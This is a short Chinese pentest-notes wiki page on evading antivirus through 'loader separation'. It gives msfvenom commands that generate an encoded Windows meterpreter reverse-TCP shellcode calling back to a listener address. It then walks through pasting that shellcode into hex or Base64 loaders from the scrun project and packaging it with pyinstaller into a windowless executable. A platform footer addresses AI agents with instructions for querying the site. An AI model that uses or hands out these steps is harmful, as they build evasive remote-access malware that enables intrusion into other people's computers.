> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/fang-yu-gui-bi/python-yuan-ma-mian-sha/jia-zai-qi-fen-li.md).

# 加载器分离

**hex**

```
生成c格式payload
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.108 lport=12138 -f c -o /var/www/html/shell.c
下载k8final
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/65.png)

```
粘贴shellcode进去
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/66.png)

```
使用
https://github.com/k8gege/scrun
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/67.png)

```
或
>python scrun.py xxx
或
编译ScRunHex.py为exe
```

**Base64(\*)**

```
生成c格式payload
>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.0.108 lport=12138 -f c -o /var/www/html/shell.c
下载k8final
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/68.png)

```
粘贴shellcode进去
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/69.png)

```
进行hex编码后，粘贴进去base64编码
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/70.png)

```
看系统位数编译ScRunBase.py文件，使用pyinstaller打包为exe后执行
https://gitee.com/RichChigga/scrun/blob/master/ScRunBase64.py
>python pyinstaller-script.py -F -w ScRunBase64.py
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/71.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/72.png)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.heresecurity.wiki/fang-yu-gui-bi/python-yuan-ma-mian-sha/jia-zai-qi-fen-li.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
